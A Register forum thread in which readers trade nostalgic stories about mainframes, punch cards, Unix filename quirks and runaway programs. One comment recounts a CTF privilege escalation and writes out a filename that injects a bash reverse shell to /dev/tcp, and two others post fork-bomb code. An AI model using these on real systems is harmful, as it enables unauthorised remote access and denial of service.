back to article A 1970s magic trick: Take a card, any card, out of the deck and watch the IBM System/370 plunge into a death spiral

Take a step back half a century with a cautionary tale of mainframes, student enthusiasm, and a shrinking deck of cards. Welcome to Who, Me? This week's confession comes from "Jeremy", who was studying Computer Science at a major US university in the mid-1970s. In those halcyon days before computers were as ubiquitous as they …

  1. Christoph

    Petty! :-) The classic unintentionally runaway program was the Morris Worm.

    1. ralphh

      'With Microscope and Tweezers' is still a great read.

      1. Prst. V.Jeltz Silver badge

        "cyberpunk" by Katie Hafner details that story too

    2. Prst. V.Jeltz Silver badge

      he got off lightly too!

  2. Anonymous Coward
    Anonymous Coward

    Broken NFS

    There was one friend of mine who, while at uni, discovered the NFS client library for C. While playing with this, he managed to create a directory called '/' inside his home directory.

    He was slightly surprised when, shortly after, the computer collapsed in confusion as this was supposedly not possible (this predates being able to use backstroke-escape and fun things like that - a stroke was the directory separator only)

    Apparently the systems manager had to fix the filesystem with a byte editor, once he had been told the likely cause of the borkage.

    I may be misremembering - it was 30 years ago - but said friend is now rather successful in his IT field so lets not mention his name here

    1. Randolf McKinley

      Re: Broken NFS

      Huh, yeah, I've got vague memories of fixing illegal Unix filenames with a byte editor too, but I can't remember what, or the context. It was something to do with creating a file from a program with characters in the name that made it inaccessible from the shell or another program (like '/' would be). You edited the current directory "." or the inode or something and replaced the illegal character in the name.

      1. Denarius Silver badge

        Re: Broken NFS

        Unix 1980s illegal filenames. The memories, the first computer, the fear, the terror. Had a boss who hated computers and me more so for liking them.

        AT&T Unix, Intel 286 CPU, damaged backup tape causing hell on restore. Spaces in names, control chars in names etc. I was shown the use of metachars for first time by a local unix contractor. Saved bacon and learned something.

        1. el_oscuro
          Linux

          Re: Broken NFS

          Everything old is new again. Working on CTF in Hackthebox, I had a reverse shell but couldn't really do anything with it. There was only one log directory that was writeable, but I eventually figured out there was a cleanup job that deleted the files. By creating a filename with shell characters in it, I was able to get command execution with higher privileges when that process ran by naming the files something like:

          hello.c; bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

          The hard part was figuring out how to get the special characters in the name. I don't remember what I had to do, but it can definitely be done.

          1. Denarius Silver badge

            Re: Broken NFS

            special chars in name ? Bah, simple. Used to use ^L as a separator in sed commands because not likely to be in a data stream from Vax, dos, NT or unices. Experienced a mainframe production program routinely crash because someone, somewhere used ^Z to finish writing data files. On ftp upload to mainframe, whole process core dumped. A simple tr script process cleaned that up, along with the odd ^C and ^D that occasionally occurred.

            Now get special chars in shell variables....easy and potentially catastrophic. Difference between rm .. and rm *. One fails, one recurses, without -r flag, all way down file tree of user. Not my error, just one I had to investigate the cause of half a production system disappearing at 4 AM one morning. Answer to question became critical because management, understandably, wanted to know whether to charge careless coder with wilful damage or merely sack. Not an analysis I enjoyed. When in doubt, RTFM or if one must, google it. Ah for the days of comp.unix.shell and the knowledge therein.

      2. oldfartuk

        Re: Broken NFS

        Those were the days. I remeber rebuilding the MBR on an IBM PC using a hex editor, you cant do stuff like that anymore.

    2. GlenP Silver badge

      Re: Broken NFS

      Although it didn't completely break things it was possible for programs to insert spaces into DOS filenames that weren't permitted from the command line so you couldn't subsequently rename or delete them. Similar thing, had to use Norton to manually edit the directory files*.

      *Details again may be hazy after 35 years or so!

      1. Sceptic Tank Bronze badge
        Windows

        Re: Broken NFS

        There was a command line wildcard trick to sort those names out, like REN SPA?CE.TXT SPAACE.TXT. Something to that extent.

      2. Solviva

        Re: Broken NFS

        I think it was ALT + 255 that gave a 'legal' space character in DOS (and Windows to some point, probably it still works if you can convince Win10 to accept your ALT+(0)255.

        1. TonyJ Silver badge
          Thumb Up

          Re: Broken NFS

          "...I think it was ALT + 255 that gave a 'legal' space character in DOS (and Windows to some point, probably it still works if you can convince Win10 to accept your ALT+(0)255.."

          Still works!

          Drop to a command prompt:

          copy con "Test(alt+255 on the num pad)File.txt" (no spaces typed)

          This is a test or some other garbage text

          ctrl+z to quit and save

          type "Test File.txt" (with a space this time):

          The system cannot find the file specified

          1. John Brown (no body) Silver badge

            Re: Broken NFS

            Yes, because space is 032. 255 is not a space but in standard DOS ASCII char set is a blank character. If you use TYPE " Test(alt+0255)File.txt" it does work.

            1. TonyJ Silver badge

              Re: Broken NFS

              No shit, Sherlock... that was kind of the point that was being made!

      3. doublelayer Silver badge

        Re: Broken NFS

        A less advanced method of having to do a slow manual fix process is to create too many files in a directory. I wrote a program which created a model, tested it, and serialized it out to a file so I could use it later. It would then evolve to improve the model before running another test. It would also create a summary file reporting how well the model had done, so for each loop, I got two files (1.model, 1.report, 2.model, 2.report, ...). Usually, I tested it on a large amount of initial test data, making each loop take ten to fifteen seconds, and would cancel it after five hundred or so iterations, the model being generally good enough then. After confirming the result, I could clear up by doing a "rm *.model && rm *.report".

        Then, I wanted to see how it would do if I let it go for much longer. I gave it a smaller set of tests for a new task, set it going, went to see my family for two days, and promptly forgot that I had done it. Weeks later, when I found out that it had been churning away on an infinite task of little importance, I tried to clean up the millions of generated models. "rm *.model" was not my friend. Now, I make sure not to run programs in the same directory where I built them, no matter how insignificant they seem.

        1. RichardBarrell

          Re: Broken NFS

          FWIW im for anyone who finds themselve in the situation where `rm *.foo` fails because the argument list created from that glob is too long:

          find . -maxdepth 1 -name "*.foo" -exec rm {} +

          is (barring syntax errors, apologies if I left typos in that) often able to make progress anyway because it passes smallish batches of arguments at a time.

          Or:

          find . -maxdepth 1 -name "*.foo" -delete

          is a little quicker on systems that have that flag. Be sure that the delete or exec flag goes *last*.

          1. Michael Wojcik Silver badge

            Re: Broken NFS

            If you don't need the *.foo filter,

            ls | xargs rm

            is shorter. And even if you do,

            ls | grep '\.foo$' | xargs rm

            is still technically shorter, and avoids the chance of accidentally omitting the -maxdepth argument. But it's a bit inelegant.

            Also note the "+" form of -exec was I think only standardized in the 4th edition of the Single UNIX Specification; not all UNIX systems support it.

            But all of these are vulnerable to spaces in filenames. Assuming sufficiently capable versions of the utilities in question, you're a lot safer with:

            find . -maxdepth 1 -print0 | xargs -0 rm

            which prevents any argument splitting. It means rm will be executed once for each filesystem object, but unless there are a great many of them indeed, or you need to do this as part of the inner loop of some performance-sensitive action, with modern systems you'll probably never notice the difference.

            TL;DR: There are various ways to get around globbing limits. Watch out for argument splitting, though.

            1. donk1

              Re: Broken NFS

              Ah, the portable gnu find with -print0 !!

              Of course, do find first into a file, check the file (kids these says forget to do checks!), THEN xargs rm < file - note avoiding the http://porkmail.org/era/unix/award.html

              Kids get of my lawn!

        2. Denarius Silver badge

          Re: Broken NFS

          too many files in one directory. Simple for early versions of IBMs middleware on unix. To the point doing an "ls" would lock ones terminal. This bothered the developers and application staff for some reason. Most files were empty also. Probably developers left debugging on or failed to turn it off. The only way one could see anything in logs directories without borking session was ( using ksh) print *, then wait for a few minutes as crap scrolled by. xargs and find are beloved tools.

    3. Julian Bradfield

      Re: Broken NFS

      I recall a similar situation in the late 80s - a Pyramid Unix system (unimaginatively named Cheops) would allow a remote file access from the Vax to create a filename with / in it, if I remember correctly.

    4. Gerhard den Hollander

      Re: Broken NFS

      I remember a similar issue when you had the axe-murderers file system mounted over NFS ... it had some funny behaviour where a folder with the word test in it would show up as a flat file once mounted over NFS

    5. Anonymous Coward
      Anonymous Coward

      Re: Broken NFS

      Ah yes. I forget the exact details, but I once suffered from an unreliable nfs mount interacting badly with a post-articles-to-usenet cronjob. I think what was happening was that article in out.going could be read and was posted, but then never got deleted due to the nfs issue, so that as a result it got posted over and over again. There was quite the little forest of stuck processes when I eventually found out and looked.

      I must say the email from the moderator of sci.physics.research, alerting me to this problem, was remarkably polite.

    6. C R Mudgeon

      Re: Broken NFS

      That's what "rm -i" was invented for, IIRC. It couldn't help you with "/" or "\0" [1], but pretty much any other special characters, yeah, no problem.

      On some systems there was also fsdb(8), an interactive "file system debugger". Pretty low-level, but a lot higher than a raw hex editor. It let you do a formatted print on inodes and edit them, likewise on directories [2], and such like.

      Always recommended to use it on an unmounted file system, and fsck afterwards!

      [1] Those were he only two characters special to the kernel's pathname-parsing code. Other special characters might get mangled by shells, or be simply untypeable, but if they made it down into unlink(2), the kernel would take them literally.

      [2] That last let you manually step through a pathname, one level at a time.

    7. Ian Johnston Silver badge

      Re: Broken NFS

      I once managed to set my password on a university VAX to something which the password setter allowed as a new password but which it would not accept as a current one. Neither would the login system. Ah, the happy days when the sysadmin could pull down an OS source listing (in SNOBOL, I think) and work out how to sort things.

      1. Yes Me Silver badge
        WTF?

        Re: Broken NFS

        An o/s written in SNOBOL? That would be a sight to see.

      2. Nick Ryan Silver badge

        Re: Broken NFS

        It's still possible to do the same when using non-American characters in passwords and various online services, such as Google and Microsoft, where being written by Americans with often little knowledge that the rest of the world exists, even passwords are treated as being in American and therefore fail when they aren't.

        For example, use the pound symbol: £ as part of your password and enjoy various random Microsoft and Google services being unable to authenticate.

        1. Denarius Silver badge

          Re: Broken NFS

          Nick, similar to BSDs once allowed ^C as a valid char in passwords. Dont have one to test if still works anymore.One wonders how Kerberos/LDAP would handle it, let alone whatever M$ uses these days. Oh, modified Kerberos,LDAP. hmmm.

          1. jtaylor Bronze badge

            Re: Broken NFS

            I once used backspace in a password. It was parsed as a character. (This was some long-dead UNIX from the 90s, maybe SunOS or BSDI.)

            This deeply annoyed the other person who used the account.

      3. donk1

        Re: Broken NFS

        Ah yes, the time a junior I knew managed to set the password change policy wrongly on a customer system for the root password!

        The password had to be changed now before logging in as root could complete but also could not be changed for 180 days! Whoops!

        They could mount the disk via a CDROM but then needed a call to the vendor for the details on how to get a chroot jail working so the policy could be changed!

    8. Nick Ryan Silver badge

      Re: Broken NFS

      For a long time it was relatively easy to do something similar in Windows where filenames could be created that were invalid in many other applications, such as Windows/File Explorer.

  3. Anonymous South African Coward Silver badge

    Assembly language

    Ahh, the good old days when doing a bit of assembler, and causing the compiled program to lock the computer up solid if you made a mistake somewhere...

    Or having to do a full reinstall when your shiny bits 'n bytes managed to mangle the FAT up good and properly (when trying to create a Norton Commander/PCTools clone with ASM)...

    Nowadays developers have it easy with virtual machines and the such...

    I can remember I created an assembly-language program which'll lock the PC up solid. Ran it in a DOS window under OS/2 - no problem there, just kill the offending DOS window and you're all good to go. :)

    1. Sceptic Tank Bronze badge
      FAIL

      Re: Assembly language

      I started idle-time development on a directory management tool back in the day. Tested the delete functionality on my source code directory. It worked. Shifted my attention to a new project after that.

      1. Robert Carnegie Silver badge

        Re: Assembly language

        Upvotes as consolation.

        Incidentally I'm looking for a disk defragmenter program... no, you're right, I should ask someone else. ;-)

    2. cookieMonster
      Happy

      Re: Assembly language

      “when trying to create a Norton Commander/PCTools clone with ASM”

      Yep, been there and done that, a lot :-/

      Good times though.

  4. Admiral Grace Hopper Silver badge

    Tight loop

    A colleague had written a piece of S3 (an ICL language) of terrifying efficiency and was having trouble debugging it. In went a couple of debug messages which didn't appear, until he noticed he'd sent them to a spool buffer rather than the screen. Once he could could see them it was soon fixed.

    The next day a porter arrived with a trolley containing 68 boxes of fan-fold piano-ruled paper, all printed with his debug information. We constructed an armchair out of the paper.

    1. phuzz Silver badge
      Facepalm

      Re: Tight loop

      One part of my last job was keeping an eye on the backup system. One day, while looking at the reports it generated, I noticed that there was an option to print the report. "That sounds handy" I thought, and clicked the option with visions of a handy printout showing me that all was well when I got in every morning.

      Of course, it wasn't that simple, the print out was the verbose log, including the path of every single file that was backed up.

      Fortunately for me, the printer's output hopper could only cope with about 15cm depth of paper, and as I got in earlier than most people, I managed to cancel the rest of the job and jam the paper into a recycling bin before anyone noticed.

    2. Loyal Commenter Silver badge
      Joke

      Re: Tight loop

      So this is how you create a paperless office - use all the paper...

  5. Unoriginal Handle

    Early 80s. University somewhere. Either under Ultrix on the old PDP/11 or the shiny new Vax 8600, likewise with Ultrix. But no per-user process limits...

    Me, in my tinkering, had a shell script ( probably Bourne but who cares, and it doesn't matter ) which forked another background shell or copy of itself, slept for 5 seconds, then repeated.

    When other users sat at terminals in the room with all the consoles started expressing confusion as to why they couldn't do anything I went off and sought the advice of one of the post-grad system admins. Who had to resort to rebooting the whole kit and caboodle to resolve the problem, and /I don't know how much of other peoples' work I lost.

    Sorry, all...

    1. David Harper 1

      You can do that much more efficiently in C

      Whilst learning the intricacies of Unix system programming in the late 1980s on an HP 8000-series, I ran a C program which did

      while (1) {

      fork();

      }

      I shared an office with the sysadmin, but neither of us could kill the new processes faster than they were appearing. In the end, he had to reboot the system. Then he made me promise NEVER to run that program again :-)

      1. C R Mudgeon

        Re: You can do that much more efficiently in C

        At my university back in the mid-to-late 70s, there was an almost forgotten Unix system tucked away in a corner. Still, it had at least one official use: in an upper-year operating systems course, one of the assignments was to simulate some card game using multiple cooperating processes. This pretty much had to be done on UNIX, I imagine, because there was nothing else available in those days with enough flexibility. (Microcomputers were just starting to exist; there certainly weren't labs full of them.

        We all came to dread that assignment, because every term a few people would screw up the fork loop, and we'd lose work in the resulting reboots.

        Finally one of the Unix hacks [1] hacked the kernel [2] to reserve one or two process slots [3] for root. That way, if someone with the root password happened to be around, they could "exec su", sacrificing their login shell to the cause, and then use that reserved process slot for whatever "ps"s, "kill"s, etc. were necessary. They'd have to type the root password *very* carefully, though, because there was only one shot at it.

        [1] a term of utmost respect in those days (though the pejorative sense was already beginning to make inroads)

        [2] an anachronism -- "kernel" hadn't yet developed its O/S-related meaning

        [3] in V6 Unix, the proc table was allocated statically. Changing its size required a kernel recompile.

        1. Denarius Silver badge

          Re: You can do that much more efficiently in C

          Not just V6 unix. Saw similar thing on HPUX up to 10.10 in late late 1990s. Kernel recompile for most databases required. Early AIX years ahead in its design. Probably why AIX (ITIRC) and later unices kept a few slots free for root only by design

      2. Yes Me Silver badge
        Angel

        Re: You can do that much more efficiently in C

        Once upon a time in a country far far away, I had my hands on a network and an interpreted language that could send bits of code to be executed in another computer. For example, a bit of code that printed HELLO on the console and then picked another computer at random and send itself off there. Made quite an interesting concert on the various DECwriters around the room. Amusingly hard to stop.

    2. Pascal Monett Silver badge
      Joke

      So it was your fault ?

      Apologies accepted. <sound of neck cracking>

    3. Arthur the cat Silver badge
      Trollface

      Me, in my tinkering, had a shell script ( probably Bourne but who cares, and it doesn't matter ) which forked another background shell or copy of itself, slept for 5 seconds, then repeated.

      Inefficient. (Don't) try

      "$0"|"$0"

      for real speed.

  6. Paul Cooper
    Devil

    Back in the dark and distant days on the 1980s, I did have one or two programs that either would or woudln't work if a comment was in a particular location! I think that would have been in IBM's H Fortran Compiler, which was often rather too clever in its optimizations - my favourite was it movind a RAND function outside a loop because the argument didn't change within the loop!

    1. Loyal Commenter Silver badge

      Hmmm. Sounds like the overzealous optimiser there didn't know about determinism...

  7. AlanSh
    FAIL

    Dubug by removing lines of code???? I do hope he's not doing anything serious now.

    1. storner

      Perfection is reached - not when there is nothing more to add, but when there is nothing more to take away.

      (Not sure where I read that, but it sounds good).

      1. Psmo Silver badge

        I choose a block of marble and chop off whatever I don't need.

        Quote often attributed to Rodin.

        Also a very useful perspective when engineering or editing.

        1. G.Y.

          Re: I choose a block of marble and chop off whatever I don't need.

          Michelangelo: "Give me a block of marble and I remove all the superfluous stuff"

      2. C R Mudgeon

        The quote is from Antoine de St. Exupery, the aircraft designer, and also the author of Le Petit Prince.

        I just looked it up. The word that's usually translated as "take away" is "retrancher", for which Google Translate offers a different primary meaning. Using their version, the quote would be:

        "It seems that perfection is attained not when there is nothing more to add, but when there is nothing more to subtract."

        1. Ian Johnston Silver badge

          Related to the quote by Colin Chapman on how to design a sports car: "Simplify and add lightness."

    2. Jiggity

      This story is the corollary (ish) to the old axiom about software development being the art of introducing bugs into an empty text file (or punchcards, in this case)... he clearly hadn't eliminated the right bugs :)

    3. Randolf McKinley

      Ah you young people with your new-fangled text editors and debuggers and compilers and monitors and stuff, you're all pampered! Debug by random card shuffle ... that's they way to do it! Drop a pack or cards and you're screwed!

      1. TomPhan

        That was when Software Security meant using two rubber bands to keep your deck in order.

        1. G.Y.

          2<-1

          I recall getting decks back with only one rubber band; I pointed out, the dispatch desk said "oh, it happens" ...

      2. eldel

        I once, many decades ago, dropped the boot stack for the University 1904S. The operators were less than impressed and I had to reassemble it by hand. Fortunately for my sanity they did have sequence numbers.

      3. Medieval Research Council

        I did drop a full box of cards on the Underground once. Good News: I was on the way home after a successful run on the CDC6600 (the actual one now in the Science Museum). Bad News: trying to catch the box I crushed the roll of plotted drawings I had under my arm. Getting plots out of that program was a gamble, mostly losing the bet. Luckily the ante was the responsibility of British Steel, and not questioned back at base!

      4. C R Mudgeon

        > Drop a pack or cards and you're screwed!

        Not if you punched in sequence numbers.

        1. donk1

          Or, as in my university, a card sorter!

    4. Eclectic Man Silver badge

      Style

      I believe it was the great Coco Chanel who, on going out of an evening would get dressed, and then, at the door of her apartment, would take off one item of clothing, and then leave for the party / play / whatever.

      1. Anonymous Coward
        Anonymous Coward

        Re: Style

        Usually her kecks, I bet.

        1. Anonymous Coward
          Anonymous Coward

          Re: Style

          Nah, her armband.

    5. Anonymous Coward
      Anonymous Coward

      He won’t be at Microsoft; they never delete anything.

    6. martinusher Silver badge

      >Debug by removing lines of code???? I do hope he's not doing anything serious now.

      The mistake is in removing lines of code rahter than neutering functional blocks. (After all, a program that does nothing except exit will never fail.)

      I have to use a variation of this technique quite often even today. Debuggers are both powerful and convenient but in some environments they'll interfere with the timing of the software -- slow or stop the system and it and everything around it crashes in a heap. So you just pick the tools and technique for the job in hand -- there's no "one size fits all".

      Incidentally, back in the 1970s there wasn't a whole lot of debug support for microprocessors; often you'd be faced with some bare metal and asked to bring it up. No JTAG, just a simple led display Iif you were lucky) and an oscilloscope (maybe). Modern stuff, pah!, luxury! (....wanders off muttering something about "uphill in the snow-- both ways").

      1. This post has been deleted by its author

    7. IBM370

      Network security. Really.

    8. C R Mudgeon

      > Dubug by removing lines of code???? I do hope he's not doing anything serious now.

      Why? It's often a useful approach.

      1. Warm Braw Silver badge

        Not merely useful, imperative: if you've got a deck of cards, your options are pretty much limited to adding cards or removing them. The trick is to pick the right ones.

    9. ian 22

      Agreed. I don’t see the logic in simply removing instructions (randomly? Sequentially?) from a program to debug it.

      If Load A doesn’t work, let's try Store B! Perhaps a bit of analysis would have been in order.

  8. Anonymous Coward
    Anonymous Coward

    PROFS

    I was once working as a summer intern at IBM - editing a document in "PROFS" - did some formatting change and was waiting, waiting, waiting for the screen to update. Then the phone rings - it was an operator from the Warwick data center - asking me what I was doing, as it was taking up something like 95% cpu on the mainframe. Needless to say there was nothing much I could add - the process was terminated by the operator and I decided better to re-structure the document differently than attempt the same thing and trigger whatever the bug in the application again.

    As I recounted a couple of years ago here...

    https://forums.theregister.com/forum/all/2018/07/23/sysadmin_sank_ibm_mainframe_by_going_one_vm_too_deep/#c_3572706

  9. Anonymous Coward
    Anonymous Coward

    1000 step limit

    When I first learned programming (part of the foundation year at uni back in 1971), it was Fortran and all programs has a 1000 step limit until we were considered competent enough to avoid infinite loops, etc. Programs were written in pencil onto paper sheets, one line at a time. These were submitted for punching onto cards that were then fed into the processing queue. Results came back as line printer output wrapped around our stack of cards. If we wanted to resubmit to fix errors, there were a couple of punch card machines we could use, replace the appropriate cards, and resubmit. My next encounter had to wait 6 years, when I had an R&D project with a well known aero-engine manufacture and had to master BASIC (from the book that came with the department's Varian V/70).

    Uni wasn't my first encounter with computers - that was a year earlier in 1970 when I got a job between school and uni working at Debenhams' computer centre. It was there I got my first lesson in data processing when a job I ran each week (sales and markdown figures for all stores) failed one evening. Was caused by the incorrect date being entered the previous week - but took hours to discover that. Seeing Debenhams demise hits personally - I've not worked there for 50 years but I got my very first pay-packet from them :-(

  10. disgruntled yank Silver badge

    Back in the day

    Forty-odd years, I took a class on Fortran IV. One turned in one's deck with a top card which showed by its color how much time the program should get to run. Introductory students generally used the color that mean "the blink of any eye." I believe that someone in my class, having trouble getting something to run, stepped up the color for "one whole minute". It didn't help, and I believe he annoyed the operators, because he had an infinite loop in there somewhere.

  11. TopCat62

    There was the time I broke the Marks and Spencer Christmas ordering system in the early 90s. I was asked to run custom SQL reports against the production database (as you do) to provide up to the minute reporting for the buying department.

    One of these reports took a little while to run, so having tested it in dev I went off for a quick lunch. I came back to find my query still running, but the online ordering system completely down, and a lot of senior managers and execs running around like headless chickens. As you can imagine, losing the whole ordering system in the run up to Christmas was a bit of an issue.

    Turned out that my query was such a monster that it slowed the whole mainframe down just enough for the CICS-COBOL ordering system to run out of threads, so sessions were just dropping out all over the place and the more that queued up, the worse it got.

    The funniest thing about it was that my query finished eventually, provided some really useful information to the buying department, and I got a shout out from their exec for front-line service to the business, and a promotion at my appraisal a short while later. Ops were less than impressed, it has to be said, and I was the butt of much piss-taking for a long time.

    1. RichardBarrell

      There's a saying "don't OLAP where you OLTP" which is used to justify things like making read-only streaming replicas of production databases that you give to the analysts to run their slow but useful queries on. :)

  12. Anonymous Coward
    Anonymous Coward

    According to some, every computer program contains some redundant code and at least one error. It therefore follows that any computer program can be ultimately reduced to a single instruction that doesn't work

    1. RichardBarrell

      There's at least one story out there about a program with zero instructions in it, which did work. http://peetm.com/blog/?p=55

  13. Mr. Balise
    Linux

    RJE. Cards. Assembly. Those were the days. First in my class at Assembly. However for PDP11/03. :) We were not so grand, but we were all connected by uucp, the precursor of the net, really. DARPA. As the man says, *oh to be young and foolish again* (rather than just foolish)

  14. Will Godfrey Silver badge
    Coat

    I think I'm getting better

    It must be at least a couple of months since I last had to do a hard reboot after a "let's try this" event.

    1. BenDwire Silver badge
      Linux

      Re: I think I'm getting better

      Unfortunately I'm often Raising Elephants ... *

      (Usually due to a flaky network connection and an old NFS share. I'll get round to fixing it one day)

      [* Alt-SysRq REISUB ]

  15. MarkET

    BAL/360

    Even in the early 70's most operating systems could terminate greedy threads. Apart from DEC / PDP / RT-11, which relied upon programmers to 'yield' time back to the OS. Happy days.

  16. Stuart Castle Silver badge

    Nearly twenty years ago, A relation of mine was working as a software developer for a local firm. He didn't like one of his colleagues and rather than doing the sensible thing and ignoring the guy as far as possible, he decided to get him in trouble.

    So, one day, he was messing around with the phones, and found a vulnerability in the software running on the phone PBX, which enabled him to get past the restriction on dialling premium rate numbers. So, he came up with the idea of using this vuln to dial a premium rate phone line, and transferred the call to this person's extension.

    Some weeks later, he got a phone call from his boss, asking about a £20,000 phone call he'd made. Apparently when he tried to transfer the dialled call, the phone system would not allow the transfer to complete (even though it appeared to have), and it also did not hang up the call. The call essentially got lost in the system, and I think they had to get an engineer in to hang up the call. Not sure whether he kept his job or not, as although he is a relation, we haven't actually been in contact since this.

    1. Eclectic Man Silver badge

      Something similar

      An airline pilot returns to his London flat to find the phone off the hook after two weeks travelling.

      His dumped air-hostess former 'girlfriend' had called the American Talking Clock.

  17. Roger Kynaston Silver badge
    Alert

    .forward files

    Shirly someone else managed to create an infinite mail loop with such a file?

  18. churchoflambda

    Those were the days

    Two 'incident's -

    1) When I was a much younger programmer and was writing my first Fortran program on a process control computer, I chose to give it my first name in the 'PROGRAM <name here>'; unfortunately for the computer, I used the short form of my name 'Norm' and the computer wound up invoking my small program every time that it needed to normalize a floating point number. And this particular Fortran system had no way to deal with recursive functions....

    2) Many years later I was a Systems Programmer in an IBM VM/370 installation and I was using APL in a CMS session, doing some matrix inversions.

    This was on an Amdahl V6 with a few megabytes of memory... and my terminal session wound up consuming over half of the available real memory and CPU... the DOS batch jobs on the same machine ground to a halt, of course.

    1. Phil O'Sophical Silver badge

      Re: Those were the days

      And this particular Fortran system had no way to deal with recursive functions.

      Fortran in general didn't allow them, the language didn't allow for a stack so local variables were implicitly static, and hence reused on each call. I've seen some 'creative' Fortran programs that tried to get round that with an array & local index that was incremented on each call. I think that restriction was lifted after F77.

      1. MJB7

        Re: No recursion in Fortran

        Some systems (for example Prime minicomputers) had a non-recursive CALL instruction: CALL X would store the current program counter at X and then jump to X+1. Return was just a matter of picking up the return address from X and branching there.

        1. Arthur the cat Silver badge

          Re: No recursion in Fortran

          Some systems (for example Prime minicomputers) had a non-recursive CALL instruction

          Very early Primes, yes. That was 16R mode IIRC. 16S(*) mode had stack based calling, as did V, I and IX modes.

          (*) I may have R & S modes swapped. It's been over 30 years since I last programmed a Prime.

        2. Cheshire Cat

          Re: No recursion in Fortran

          At my first intern job, around 1990, I had to use fortran for the first time. Having nothing better to do, I decided to port a boulderdash-clone game from C into it. The lack of recursion was a big problem, since the whole system depended on it, but I worked around it by having a separate function that managed its own stack, and called a function which returned a list of new items to put onto the stack. It did change the order in which things were resolved though, which in the end broke some of the puzzles in the game screens.

        3. Anonymous Coward
          Anonymous Coward

          Re: No recursion in Fortran

          HP1000s too - I think they were originally a PDP-8 clone, so that might be the origin of that style of call.

      2. Arthur the cat Silver badge

        Re: Those were the days

        Fortran in general didn't allow them, the language didn't allow for a stack so local variables were implicitly static, and hence reused on each call. I've seen some 'creative' Fortran programs that tried to get round that with an array & local index that was incremented on each call.

        Pr1me Fortran was recursive, unfortunately, because at one place I worked one of the programmers who knew enough to be dangerous had written a recursive descent parser in it. This was fine until the code had to be ported to a Vax/VMS system which had normal non-recursive Fortran. He then wrote a "derecurser" (also in Fortran) that mangled the parser into one humungous routine that had all the original routines in it, did call/return by GOTO and assigned GOTO(*) and managed the stack by moving variables in and out of COMMON. The end result was flakier than a container ship full of Kellog's corn based breakfast cereal.

        When asked to deal with the mess (but still using Fortran) I replaced it with a small subroutine that was driven by the tables spat out by deremer, Prime's LALR(1) parser generator. Eventually I (and the arrival of Sun workstations) persuaded the management that we really ought to be using C.

        (*) If you don't know what an assigned GOTO is, think yourself very lucky. Do not look it up, it will blast your mind with eldritch horror.

        1. John Brown (no body) Silver badge

          Re: Those were the days

          "(*) If you don't know what an assigned GOTO is, think yourself very lucky. Do not look it up, it will blast your mind with eldritch horror."

          ISTR some versions of BASIC on 8-bit micros had a GOTO <variable>, which could get a bit hairy if you weren't careful. Is that anything like an assigned GOTO?

          1. Eclectic Man Silver badge

            Re: Those were the days

            I only remember the BASIC 'GOTO' followed by a line number. Then read a book on programming and a line about getting rid of the evil of the 'unrestrained GOTO'. One could get into all sorts of knots with GOTO statements, particularly if you did not increment your program lines in 10's and had to change the line numbers of subsequent commands when editing to include statements you had unaccountably forgotten to include in the first place.

            Oh such happy, innocent* days.

            *(I was doing 'O'-level Computer Studies at school, with programs run on the then Hatfield Polytechnic's DEC System 10 computer using punched card input.)

            OKAY, I've looked up Assigned GOTO and am now suitably aghast. But in those days, Men were REAL Men, Women were REAL Women, Programmers were REAL Programmers, and Small Furry Creatures from Alpha-Centauri were REAL Small Furry Creatures from Alpha-Centauri!

          2. sw guy
            Flame

            Re: Those were the days

            Exactly

            You could have:

            ASSIGN 1000 to LABEL

            GOTO LABEL => will GOTO 1000

            But then something worst was added:

            A way to pass labels as parameter for a subroutine

            (that is: a function w/o return value),

            with a specific syntax inside subroutine to select a label from parameter list:

            Caller jumps there right after the return !

            1. swm Silver badge

              Re: Those were the days

              "A way to pass labels as parameter for a subroutine"

              Yep, 1S, 2S etc. These were normally used as error exits. Not a subroutine call.

        2. swm Silver badge

          Re: Those were the days

          There is also he computed COME FROM statement.

      3. sw guy

        Re: Those were the days

        This makes me remember when I had to write a FORTRAN program for which natural data set was a small bag of stacks, but there was no way to create big array to contain biggest possible data (I know, because I tried and I got a "virtual memory full" error message).

        Had to put stacks into files, and use windowing, to operate on stacks and just flushing/reloading when needed,

        1. swm Silver badge

          Re: Those were the days

          Remember "overlays"?

          1. Warm Braw Silver badge

            Re: Those were the days

            I still have nightmares about the overlay tree for the RSX-11 network management ACP that had to shoehorn the configuration management code for every supported network device and protocol into 8KW. Less of a tree, more of a rainforest.

      4. G.Y.

        recursion Re: Those were the days

        I taught a course way way back; Pascal first, then Fortran. I told them "no recursion; A cannot call A". One bright student said "I will have A call B, B call A!". I said "Try!!".

    2. Robert Carnegie Silver badge

      Re: Those were the days

      Being named after a reserved keyword bespeaks lack of foresight from your parents. ;-)

      Though offhand I can only think of your example and Bobby Tables, and Mrs Tables knew what she was doing!

      1. C R Mudgeon

        Re: Those were the days

        There was a comment to a recent On Call about someone named Tester who kept getting dropped from various databases.

        It wasn't my comment, but I can vouch for such names. There was a Tester family on my street when I was growing up. I wonder if they've had similar problems.

        1. David Roberts Silver badge
          Joke

          Re: Those were the days Tester

          No.

          They were purged in a Tester cull.

        2. jtaylor Bronze badge

          Re: Those were the days

          At one company, we got an automated request to create accounts for a new hire "Joe Hacker" at a remote site.

          Nobody wanted to touch that one. The ticket waited.

          Eventually, the hiring manager contacted us directly. Once we knew it was real, the poor guy got his computer accounts. At least until the next audit, anyway.

          1. Robert Carnegie Silver badge

            Re: Those were the days

            Any relation :-) https://en.wikipedia.org/wiki/Jim_Hacker

  19. john 103

    BASIC Loop on a VAX

    Back in approx 1990 I was introduced to the University's VAX.

    It had a BASIC (interpreter?) so using my Commodore 64 skills (& a colleagues terminal of course) I duly fired up the classic

    10 Print "F*ck Off"

    20 GOTO 10

    I then started laughing as it filled the screen with expletives.

    My poor unfortunate colleague had to ask the supervisor how to kill it.

    The Supervisor tried CTRL-C, CTRL-Z etc but to no avail.

    It turn out that the VAX would print to screen very slowly but would happily run lots of instructions so despite the program being killed it had a massive spool full of swear words ready to send to the screen.

    Happy days.

    1. Phil O'Sophical Silver badge

      Re: BASIC Loop on a VAX

      ? despite the program being killed it had a massive spool full of swear words ready to send to the screen.

      CTRL-O was your friend for that. It flushed the pending output buffer.

      1. Robert Carnegie Silver badge

        Re: BASIC Loop on a VAX

        Thanks I should be able to stop it now :-)

        F*CK OFF

        F*CK OFF

        F*CK OFF

        F*CK OFF

  20. Anonymous Coward
    Anonymous Coward

    VAX VMS

    So I was 19 years old and doing a year at a chemical plant, supporting their IT department.

    We had a couple of VAX mini's that used to run the site. Corporate finance on a server called GMDA -development on a box called GMDD. Everything was green screen terminals to this server.
